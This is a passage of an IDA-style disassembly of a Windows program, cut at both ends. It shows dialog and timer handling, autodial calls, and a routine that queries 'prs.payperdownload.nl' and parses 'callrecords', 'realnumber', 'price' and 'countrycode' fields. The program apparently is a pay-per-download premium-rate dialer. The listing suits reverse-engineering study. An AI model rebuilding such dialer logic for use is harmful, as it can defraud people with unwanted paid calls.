; ---------------------------------------------------------------------------


loc_40664B:				; CODE XREF: sub_406560+A1j
		mov	ecx, [ebp+lpString]
		mov	esi, [ebp+arg_0]
		push	ebx		; int
		push	ecx		; lpString
		mov	ecx, dword_40FBC8
		push	esi		; int
		call	sub_40A170
		lea	esp, [ebp-210h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_406560	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_406670(int,int,LPCWSTR lpString)

sub_406670	proc near		; CODE XREF: sub_406720+193p
					; sub_406720+2E7p ...

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_2E		= byte ptr -2Eh
bstrString	= dword	ptr -2Ch
lpMem		= dword	ptr -28h
arg_0		= dword	ptr  4
lpString	= dword	ptr  8

		mov	eax, [esp+lpString]
		sub	esp, 58h
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		mov	esi, ecx
		jnz	short loc_40669D
		mov	eax, [esp+60h+arg_0]
		push	eax
		call	sub_405140
		push	eax		; uID
		push	esi		; int
		call	sub_4055A0
		add	esp, 8
		pop	esi
		pop	ebx
		add	esp, 58h
		retn	8
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_406670+Fj
		lea	ecx, [esp+60h+var_58]
		lea	edx, [esp+60h+bstrString]
		push	ecx		; int
		push	eax		; lpString
		push	edx		; int
		mov	ecx, esi
		mov	[esp+6Ch+var_58], ebx
		mov	[esp+6Ch+var_54], ebx
		mov	[esp+6Ch+var_50], ebx
		mov	[esp+6Ch+var_4C], bl
		mov	[esp+6Ch+var_2E], bl
		call	sub_406560
		mov	ecx, eax
		call	sub_40A2D0
		push	eax		; arglist
		push	offset aS	; "%s"
		push	esi		; int
		call	sub_405640
		mov	eax, [esp+6Ch+lpMem]
		add	esp, 0Ch
		cmp	eax, ebx
		jz	short loc_4066EE
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[esp+60h+lpMem], ebx


loc_4066EE:				; CODE XREF: sub_406670+6Fj
		mov	eax, [esp+60h+bstrString]
		mov	esi, ds:SysFreeString
		push	eax		; bstrString
		call	esi ; SysFreeString
		mov	eax, [esp+60h+var_54]
		cmp	eax, ebx
		jz	short loc_406710
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[esp+60h+var_54], ebx


loc_406710:				; CODE XREF: sub_406670+91j
		mov	ecx, [esp+60h+var_58]
		push	ecx		; bstrString
		call	esi ; SysFreeString
		pop	esi
		pop	ebx
		add	esp, 58h
		retn	8
sub_406670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_406720(int,int,int,int,int)

sub_406720	proc near		; CODE XREF: sub_402180+142p

lpString	= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_5A		= byte ptr -5Ah
bstrString	= dword	ptr -58h
lpMem		= dword	ptr -54h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h

		sub	esp, 88h
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		mov	ecx, dword_40FBC8
		mov	[esp+90h+var_84], ebx
		mov	[esp+90h+var_80], ebx
		mov	[esp+90h+var_7C], ebx
		mov	[esp+90h+var_78], bl
		mov	[esp+90h+var_5A], bl
		call	sub_40A0B0
		cmp	eax, 0E10h
		jle	short loc_40678D
		mov	eax, [esi+4]
		push	1		; uIDEvent
		push	eax		; hWnd
		call	ds:KillTimer	; KillTimer
		mov	ecx, esi
		call	sub_407EC0
		mov	ecx, dword_40FBC8
		push	0BB8h
		call	sub_409F90
		mov	ecx, esi
		call	sub_405180
		mov	eax, [esp+90h+var_80]
		cmp	eax, ebx
		jz	loc_406CB1
		jmp	loc_406CA4
; ---------------------------------------------------------------------------


loc_40678D:				; CODE XREF: sub_406720+30j
		mov	eax, [esi+5Ch]
		push	ebp
		cmp	eax, 9		; switch 10 cases
		push	edi		; arglist
		ja	loc_406C9A	; default
		jmp	ds:off_406CCC[eax*4] ; switch jump


loc_4067A2:				; DATA XREF: .text:off_406CCCo
		cmp	ds:byte_40D718,	bl ; jumptable 0040679B	case 1
		jz	short loc_4067B5
		mov	edx, [esi+4]
		push	ebx		; nCmdShow
		push	edx		; hWnd
		call	ds:ShowWindow	; ShowWindow


loc_4067B5:				; CODE XREF: sub_406720+88j
		push	1F5h		; uID
		push	esi		; int
		mov	dword ptr [esi+5Ch], 2
		call	sub_4055A0
		add	esp, 8
		mov	ecx, esi
		push	386h		; uID
		push	1		; nIDDlgItem
		call	sub_405680
		mov	ecx, dword_40FBC8
		call	sub_40A030
		push	1FBh		; uID
		push	esi		; int
		call	sub_4055A0
		add	esp, 8
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_4067F6:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		cmp	ds:byte_40D718,	bl ; jumptable 0040679B	case 2
		jz	short loc_406809
		mov	eax, [esi+4]
		push	ebx		; nCmdShow
		push	eax		; hWnd
		call	ds:ShowWindow	; ShowWindow


loc_406809:				; CODE XREF: sub_406720+DCj
		mov	ecx, dword_40FBC8
		call	sub_40A120
		test	eax, eax
		jg	loc_406C9A	; default
		lea	ecx, [esp+98h+lpString]
		mov	dword ptr [esi+5Ch], 5
		push	ecx
		mov	ecx, dword_40FBC8
		call	sub_409DA0
		jmp	short loc_4068A3
; ---------------------------------------------------------------------------


loc_406835:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		cmp	ds:byte_40D718,	bl ; jumptable 0040679B	case 3
		jz	short loc_406848
		mov	edx, [esi+4]
		push	ebx		; nCmdShow
		push	edx		; hWnd
		call	ds:ShowWindow	; ShowWindow


loc_406848:				; CODE XREF: sub_406720+11Bj
		push	386h		; uID
		push	1		; nIDDlgItem
		mov	ecx, esi
		mov	dword ptr [esi+5Ch], 4
		call	sub_405680
		mov	ecx, dword_40FBC8
		push	0BB8h
		call	sub_409F90
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_406872:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		cmp	ds:byte_40D718,	bl ; jumptable 0040679B	case 4
		jz	short loc_406885
		mov	eax, [esi+4]
		push	ebx		; nCmdShow
		push	eax		; hWnd
		call	ds:ShowWindow	; ShowWindow


loc_406885:				; CODE XREF: sub_406720+158j
		lea	ecx, [esp+98h+lpString]
		push	ecx
		mov	ecx, dword_40FBC8
		call	sub_409DA0
		cmp	eax, 2001h
		jnz	short loc_4068A3
		mov	dword ptr [esi+5Ch], 5


loc_4068A3:				; CODE XREF: sub_406720+113j
					; sub_406720+17Aj
		mov	ecx, [esp+98h+lpString]
		cmp	ecx, ebx
		jz	loc_406C9A	; default
		push	ecx		; lpString
		push	eax		; int
		mov	ecx, esi	; int
		call	sub_406670
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_4068BD:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		cmp	ds:byte_40D718,	bl ; jumptable 0040679B	case 5
		jz	short loc_4068D0
		mov	edx, [esi+4]
		push	ebx		; nCmdShow
		push	edx		; hWnd
		call	ds:ShowWindow	; ShowWindow


loc_4068D0:				; CODE XREF: sub_406720+1A3j
		mov	dword ptr [esi+5Ch], 6
		mov	ecx, dword_40FBC8
		call	sub_4099D0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406931
		lea	eax, [esp+98h+var_84]
		lea	ecx, [esp+98h+bstrString]
		push	eax		; int
		push	edi		; lpString
		push	ecx		; int
		mov	ecx, esi
		call	sub_406560
		mov	ecx, eax
		call	sub_40A2D0
		push	eax
		push	edi		; arglist
		push	offset aUpdateentryDS ;	"UpdateEntry: %d - %s"
		push	esi		; int
		call	sub_405640
		mov	eax, [esp+0A8h+lpMem]
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_406926
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[esp+98h+lpMem], ebx


loc_406926:				; CODE XREF: sub_406720+1F7j
		mov	edx, [esp+98h+bstrString]
		push	edx		; bstrString
		call	ds:SysFreeString


loc_406931:				; CODE XREF: sub_406720+1C6j
		mov	ecx, dword_40FBC8
		call	sub_409CE0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40699A
		lea	eax, [esp+98h+var_84]
		lea	ecx, [esp+98h+var_2C]
		push	eax		; int
		push	edi		; lpString
		push	ecx		; int
		mov	ecx, esi
		mov	dword ptr [esi+5Ch], 8
		call	sub_406560
		mov	ecx, eax
		call	sub_40A2D0
		push	eax
		push	edi		; arglist
		push	offset aDialDS	; "Dial: %d - %s"
		push	esi		; int
		call	sub_405640
		mov	eax, [esp+0A8h+var_28]
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_40698A
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[esp+98h+var_28], ebx


loc_40698A:				; CODE XREF: sub_406720+25Bj
		mov	edx, [esp+98h+var_2C]
		push	edx		; bstrString
		call	ds:SysFreeString
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_40699A:				; CODE XREF: sub_406720+220j
		mov	dword_40FBD0, 0Ah
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_4069A9:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		mov	al, ds:byte_40D718 ; jumptable 0040679B	case 6
		mov	edi, ds:ShowWindow
		cmp	al, bl
		jz	short loc_4069BF
		mov	eax, [esi+4]
		push	ebx		; nCmdShow
		push	eax		; hWnd
		call	edi ; ShowWindow


loc_4069BF:				; CODE XREF: sub_406720+296j
		lea	ecx, [esp+98h+lpString]
		push	ecx
		mov	ecx, dword_40FBC8
		call	sub_409DA0
		mov	ebp, eax
		sub	eax, 2000h
		jz	short loc_406A11
		dec	eax
		jnz	loc_406A7A
		mov	eax, dword_40FBD0
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	dword_40FBD0, eax
		jg	loc_406A7A
		mov	eax, [esp+98h+lpString]
		mov	ecx, esi	; int
		push	eax		; lpString
		push	ebp		; int
		mov	byte ptr [esi+55h], 1
		mov	dword ptr [esi+5Ch], 8
		call	sub_406670
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_406A11:				; CODE XREF: sub_406720+2B6j
		push	387h		; uID
		push	1		; nIDDlgItem
		mov	ecx, esi
		mov	dword ptr [esi+5Ch], 7
		call	sub_405680
		mov	ecx, dword_40FBC8
		call	sub_4099D0
		cmp	ds:byte_40D718,	bl
		jnz	short loc_406A41
		mov	eax, [esi+4]
		push	2		; nCmdShow
		push	eax		; hWnd
		call	edi ; ShowWindow


loc_406A41:				; CODE XREF: sub_406720+317j
		mov	ecx, [esi+58h]
		push	ecx
		mov	ecx, esi
		call	sub_407820
		push	offset aXx	; "xx"
		mov	ecx, esi
		call	sub_407820
		lea	ecx, [esi+20h]
		call	sub_409400
		push	eax		; lpFile
		mov	ecx, esi
		call	sub_404FF0
		mov	edx, [esi+4]
		push	ebx		; lpTimerFunc
		push	3E8h		; uElapse
		push	1		; nIDEvent
		push	edx		; hWnd
		call	ds:SetTimer	; SetTimer


loc_406A7A:				; CODE XREF: sub_406720+2B9j
					; sub_406720+2CEj
		mov	eax, [esp+98h+lpString]
		mov	ecx, esi	; int
		push	eax		; lpString
		push	ebp		; int
		call	sub_406670
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_406A8C:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		cmp	ds:byte_40D718,	bl ; jumptable 0040679B	case 7
		jz	short loc_406A9F
		mov	ecx, [esi+4]
		push	ebx		; nCmdShow
		push	ecx		; hWnd
		call	ds:ShowWindow	; ShowWindow


loc_406A9F:				; CODE XREF: sub_406720+372j
		lea	edx, [esp+98h+lpString]
		mov	byte ptr [esi+54h], 1
		mov	ecx, dword_40FBC8
		push	edx
		call	sub_409DA0
		mov	edi, eax
		cmp	edi, 2001h
		jnz	short loc_406AD6
		mov	eax, [esi+4]
		push	ebx		; lpTimerFunc
		push	0FAh		; uElapse
		push	1		; nIDEvent
		push	eax		; hWnd
		mov	dword ptr [esi+5Ch], 8
		call	ds:SetTimer	; SetTimer


loc_406AD6:				; CODE XREF: sub_406720+39Bj
		mov	ecx, [esp+98h+lpString]
		push	ecx		; lpString
		push	edi		; int
		mov	ecx, esi	; int
		call	sub_406670
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_406AE8:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		cmp	ds:byte_40D718,	bl ; jumptable 0040679B	case 8
		jz	short loc_406AFB
		mov	edx, [esi+4]
		push	ebx		; nCmdShow
		push	edx		; hWnd
		call	ds:ShowWindow	; ShowWindow


loc_406AFB:				; CODE XREF: sub_406720+3CEj
		push	386h		; uID
		push	1		; nIDDlgItem
		mov	ecx, esi
		mov	dword ptr [esi+5Ch], 9
		call	sub_405680
		mov	ecx, dword_40FBC8
		push	0BB8h
		call	sub_409F90
		mov	eax, [esi+4]
		push	ebx		; lpTimerFunc
		push	0FAh		; uElapse
		push	1		; nIDEvent
		push	eax		; hWnd
		call	ds:SetTimer	; SetTimer
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_406B37:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		cmp	ds:byte_40D718,	bl ; jumptable 0040679B	case 9
		jz	short loc_406B4A
		mov	ecx, [esi+4]
		push	ebx		; nCmdShow
		push	ecx		; hWnd
		call	ds:ShowWindow	; ShowWindow


loc_406B4A:				; CODE XREF: sub_406720+41Dj
		mov	ecx, dword_40FBC8
		lea	edx, [esp+98h+lpString]
		push	edx
		call	sub_409DA0
		cmp	eax, 2001h
		jnz	short loc_406B64
		mov	[esi+5Ch], ebx


loc_406B64:				; CODE XREF: sub_406720+43Fj
		mov	ecx, [esp+98h+lpString]
		push	ecx		; lpString
		push	eax		; int
		mov	ecx, esi	; int
		call	sub_406670
		jmp	loc_406C9A	; default
; ---------------------------------------------------------------------------


loc_406B76:				; CODE XREF: sub_406720+7Bj
					; DATA XREF: .text:off_406CCCo
		cmp	[esi+54h], bl	; jumptable 0040679B case 0
		jnz	short loc_406BFA
		cmp	[esi+56h], bl
		jnz	short loc_406BFA
		lea	edi, [esi+20h]
		push	2
		mov	ecx, edi
		call	sub_4092F0
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C70
		push	2
		mov	ecx, edi
		call	sub_409330
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C90
		push	2
		mov	ecx, edi
		call	sub_409370
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C40
		mov	edx, [esi+4]
		push	ebx		; lParam
		push	ebx		; wParam
		push	184h		; Msg
		push	0CCh		; nIDDlgItem
		push	edx		; hDlg
		mov	dword ptr [esi+5Ch], 3
		call	ds:SendDlgItemMessageA	; SendDlgItemMessageA
		mov	eax, [esi+4]
		push	ebx		; lpTimerFunc
		push	0FAh		; uElapse
		push	1		; nIDEvent
		push	eax		; hWnd
		call	ds:SetTimer	; SetTimer
		mov	byte ptr [esi+56h], 1
		jmp	loc_406C97
; ---------------------------------------------------------------------------


loc_406BFA:				; CODE XREF: sub_406720+459j
					; sub_406720+45Ej
		mov	ecx, [esi+4]
		push	1		; uIDEvent
		push	ecx		; hWnd
		call	ds:KillTimer	; KillTimer
		push	385h		; uID
		push	1		; nIDDlgItem
		mov	ecx, esi
		call	sub_405680
		mov	ecx, dword_40FBC8
		lea	edi, [esi+20h]
		call	sub_40A0B0
		mov	ecx, edi
		mov	ebp, eax
		call	sub_409420
		add	ebp, eax
		mov	ecx, edi
		push	ebp
		call	sub_409410
		mov	ecx, edi
		call	sub_4092B0
		push	1
		mov	ecx, edi
		call	sub_4092F0
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C70
		push	1
		mov	ecx, edi
		call	sub_409330
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C90
		push	1
		mov	ecx, edi
		call	sub_409370
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C40
		cmp	ds:byte_40D718,	bl
		jz	short loc_406C8B
		mov	edx, [esi+4]
		push	5
		push	edx
		jmp	short loc_406C91
; ---------------------------------------------------------------------------


loc_406C8B:				; CODE XREF: sub_406720+561j
		mov	eax, [esi+4]
		push	9		; nCmdShow
		push	eax		; hWnd


loc_406C91:				; CODE XREF: sub_406720+569j
		call	ds:ShowWindow	; ShowWindow


loc_406C97:				; CODE XREF: sub_406720+4D5j
		mov	[esi+55h], bl


loc_406C9A:				; CODE XREF: sub_406720+75j
					; sub_406720+D1j ...
		mov	eax, [esp+98h+var_80] ;	default
		pop	edi
		cmp	eax, ebx
		pop	ebp
		jz	short loc_406CB1


loc_406CA4:				; CODE XREF: sub_406720+68j
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[esp+90h+var_80], ebx


loc_406CB1:				; CODE XREF: sub_406720+62j
					; sub_406720+582j
		mov	ecx, [esp+90h+var_84]
		push	ecx		; bstrString
		call	ds:SysFreeString
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 88h
		retn	10h
sub_406720	endp

; ---------------------------------------------------------------------------
		align 4
off_406CCC	dd offset loc_406B76	; DATA XREF: sub_406720+7Br
		dd offset loc_4067A2	; jump table for switch	statement
		dd offset loc_4067F6
		dd offset loc_406835
		dd offset loc_406872
		dd offset loc_4068BD
		dd offset loc_4069A9
		dd offset loc_406A8C
		dd offset loc_406AE8
		dd offset loc_406B37
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406D00	proc near		; CODE XREF: sub_402180+B6p

var_4		= byte ptr -4

		push	ecx
		push	esi
		mov	esi, ecx
		mov	ecx, dword_40FBC8
		test	ecx, ecx
		jz	short loc_406D2F
		lea	eax, [esp+8+var_4]
		push	eax
		call	sub_409DA0
		cmp	eax, 2000h
		jz	short loc_406D41
		mov	ecx, dword_40FBC8
		push	0BB8h
		call	sub_409F90


loc_406D2F:				; CODE XREF: sub_406D00+Cj
		mov	ecx, [esi+4]
		push	ecx		; hWnd
		call	ds:DestroyWindow	; DestroyWindow
		push	0		; nExitCode
		call	ds:PostQuitMessage	; PostQuitMessage


loc_406D41:				; CODE XREF: sub_406D00+1Dj
		xor	eax, eax
		pop	esi
		pop	ecx
		retn	10h
sub_406D00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_406D50(int,int,int,int,int)

sub_406D50	proc near		; CODE XREF: sub_402180+FDp

String1		= dword	ptr -200h

		sub	esp, 200h
		push	esi
		push	edi
		mov	edi, ds:SendDlgItemMessageA
		mov	esi, ecx
		push	0		; lParam
		push	0		; wParam
		mov	eax, [esi+4]
		push	147h		; Msg
		push	0C9h		; nIDDlgItem
		push	eax		; hDlg
		call	edi ; SendDlgItemMessageA
		mov	edx, [esi+4]
		lea	ecx, [esp+208h+String1]
		push	ecx		; lParam
		push	eax		; wParam
		push	148h		; Msg
		push	0C9h		; nIDDlgItem
		push	edx		; hDlg
		call	edi ; SendDlgItemMessageA
		mov	ecx, dword_40FBC8
		lea	eax, [esp+208h+String1]
		push	eax		; lpString1
		call	sub_4097E0
		test	eax, eax
		jge	short loc_406DDC
		lea	ecx, [esp+208h+String1]
		push	ecx		; arglist
		push	1F4h		; uID
		push	esi		; int
		call	sub_4055A0
		mov	ecx, dword_40FBC8
		add	esp, 0Ch
		call	sub_409B80
		mov	edx, [esi+4]
		push	eax		; lParam
		push	0		; wParam
		push	14Dh		; Msg
		push	0C9h		; nIDDlgItem
		push	edx		; hDlg
		call	edi ; SendDlgItemMessageA
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 200h
		retn	10h
; ---------------------------------------------------------------------------


loc_406DDC:				; CODE XREF: sub_406D50+4Cj
		mov	ecx, dword_40FBC8
		push	eax
		call	sub_409720
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 200h
		retn	10h
sub_406D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406E00	proc near		; CODE XREF: sub_402180+186p

String2		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+String2]
		push	esi
		mov	esi, ecx
		push	0Ah		; cchMax
		push	eax		; lpString
		mov	ecx, [esi+4]
		push	0CEh		; nIDDlgItem
		push	ecx		; hDlg
		call	ds:GetDlgItemTextA	; GetDlgItemTextA
		mov	ecx, dword_40FBC8
		lea	edx, [esp+10h+String2]
		push	edx		; lpString2
		call	sub_409C20
		mov	al, [esi+4Eh]
		test	al, al
		jnz	short loc_406E3F
		lea	eax, [esp+10h+String2]
		mov	ecx, esi
		push	eax		; lpData
		call	sub_4084F0


loc_406E3F:				; CODE XREF: sub_406E00+31j
		xor	eax, eax
		pop	esi
		add	esp, 0Ch
		retn	10h
sub_406E00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406E50	proc near		; CODE XREF: sub_402180+1C2p
		push	74h		; uID
		call	sub_405020
		xor	eax, eax
		retn	10h
sub_406E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E60	proc near		; CODE XREF: sub_405C90+1AAp

var_B10		= byte ptr -0B10h
String		= byte ptr -310h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
String2		= byte ptr -9Ch
bstrString	= dword	ptr -88h
lpMem		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_5E		= byte ptr -5Eh
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
dwDisposition	= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
cbData		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
hKey		= dword	ptr -10h
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 0B10h
		push	ebx
		push	esi
		mov	esi, ds:InternetCheckConnectionA
		push	edi
		push	0
		mov	edi, ecx
		push	1
		push	offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
		mov	[ebp+var_54], edi
		call	esi ; InternetCheckConnectionA
		test	eax, eax
		jnz	short loc_406EAE
		mov	al, [edi+54h]
		test	al, al
		jnz	loc_407804
		push	0
		push	2
		call	ds:InternetAutodial	; InternetAutodial
		push	0
		push	1
		push	offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
		call	esi ; InternetCheckConnectionA
		test	eax, eax
		jz	loc_407804


loc_406EAE:				; CODE XREF: sub_406E60+24j
		push	0
		push	0
		push	0
		push	0
		push	offset aDel	; "del"
		call	ds:InternetOpenA	; InternetOpenA
		test	eax, eax
		mov	[ebp+var_58], eax
		jz	loc_407804
		push	0
		push	0
		push	0
		push	0
		push	offset aHttpPrs_payp_0 ; "http://prs.payperdownload.nl/radius/dia"...
		push	eax
		call	ds:InternetOpenUrlA	; InternetOpenUrlA
		test	eax, eax
		mov	[ebp+var_5C], eax
		jz	loc_4077E6
		lea	ecx, [ebp+var_50]
		lea	edx, [ebp+var_B10]
		push	ecx
		push	800h
		push	edx
		push	eax
		mov	esi, 0FFFFFFFDh
		call	ds:InternetReadFile	; InternetReadFile
		test	eax, eax
		jz	loc_4077C3
		mov	ecx, [ebp+var_50]
		test	ecx, ecx
		jz	loc_4077C3
		xor	eax, eax
		xor	esi, esi
		xor	edx, edx
		cmp	ecx, eax
		mov	[ebp+ecx+var_B10], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_7], 0
		mov	[ebp+var_9], 0
		mov	[ebp+var_12], 0
		mov	[ebp+var_11], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_13], 0
		mov	[ebp+var_1], 0
		mov	[ebp+var_3], 0
		mov	[ebp+var_2], 0
		mov	[ebp+var_5], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_6], 0
		mov	[ebp+var_A], 0
		mov	[ebp+hKey], eax
		mov	[ebp+var_38], eax
		mov	[ebp+var_4C], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+cbData], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_1C], edx
		mov	[ebp+var_28], eax
		mov	[ebp+dwDisposition], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_34], eax
		jbe	loc_40723C
		mov	ebx, 1
		lea	edi, [ebp+var_B10]


loc_406F97:				; CODE XREF: sub_406E60+3D0j
		mov	al, [ebp+var_A]
		test	al, al
		jnz	loc_407236
		movsx	eax, byte ptr [edi]
		sub	eax, 22h
		jz	loc_40716C
		sub	eax, 1Ah
		jz	loc_407163
		sub	eax, 2
		jz	loc_40713B
		cmp	ebx, 7D1h
		jg	loc_407549
		mov	al, [ebp+var_9]
		test	al, al
		jz	short loc_40703C
		push	0Bh
		push	edi
		push	offset aCallrecords ; "callrecords"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406FF9
		add	esi, 0Ah
		add	edi, 0Ah
		mov	[ebp+var_8], 1
		add	ebx, 0Ah
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_406FF9:				; CODE XREF: sub_406E60+185j
		push	0Ch
		push	edi
		push	offset aCallrecords_0 ;	"/callrecords"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407016
		mov	[ebp+var_A], 1
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_406E60+1ABj
		push	4
		push	edi
		push	offset aCall	; "call"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40703C
		add	esi, 3
		add	edi, 3
		mov	[ebp+var_7], 1
		add	ebx, 3
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_40703C:				; CODE XREF: sub_406E60+171j
					; sub_406E60+1C8j
		mov	al, [ebp+var_7]
		test	al, al
		jz	loc_407228
		push	0Ah
		push	edi
		push	offset aRealnumber ; "realnumber"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407095
		mov	[ebp+var_1], al
		mov	[ebp+var_3], al
		mov	[ebp+var_2], al
		mov	[ebp+var_5], al
		mov	al, [ebp+var_11]
		test	al, al
		jnz	short loc_407074
		mov	[ebp+var_2], 1
		jmp	short loc_40707F
; ---------------------------------------------------------------------------


loc_407074:				; CODE XREF: sub_406E60+20Cj
		mov	al, [ebp+var_14]
		test	al, al
		jnz	short loc_40707F
		mov	[ebp+var_5], 1


loc_40707F:				; CODE XREF: sub_406E60+212j
					; sub_406E60+219j
		add	esi, 9
		add	edi, 9
		mov	[ebp+var_4], 0
		mov	[ebp+var_6], 0
		add	ebx, 9
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_407095:				; CODE XREF: sub_406E60+1F9j
		push	5
		push	edi
		push	offset aPrice	; "price"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4070E6
		mov	[ebp+var_1], al
		mov	[ebp+var_3], al
		mov	[ebp+var_2], al
		mov	[ebp+var_5], al
		mov	[ebp+var_4], al
		mov	[ebp+var_6], al
		mov	al, [ebp+var_13]
		test	al, al
		jnz	short loc_4070D4
		add	esi, 4
		add	edi, 4
		mov	[ebp+var_4], 1
		add	ebx, 4
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_4070D4:				; CODE XREF: sub_406E60+260j
		add	esi, 4
		add	edi, 4
		mov	[ebp+var_6], 1
		add	ebx, 4
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_4070E6:				; CODE XREF: sub_406E60+247j
		push	0Bh
		push	edi
		push	offset aCountrycode ; "countrycode"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_407228
		mov	[ebp+var_1], al
		mov	[ebp+var_3], al
		mov	[ebp+var_2], al
		mov	[ebp+var_5], al
		mov	[ebp+var_4], al
		mov	[ebp+var_6], al
		mov	al, [ebp+var_12]
		test	al, al
		jnz	short loc_407129
		add	esi, 4
		add	edi, 4
		mov	[ebp+var_1], 1
		add	ebx, 4
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_407129:				; CODE XREF: sub_406E60+2B5j
		add	esi, 4
		add	edi, 4
		mov	[ebp+var_3], 1
		add	ebx, 4
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_40713B:				; CODE XREF: sub_406E60+15Aj
		mov	al, [ebp+var_8]
		test	al, al
		jz	short loc_40714F
		mov	[ebp+var_8], 0
		mov	[ebp+var_9], 0
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_406E60+2E0j
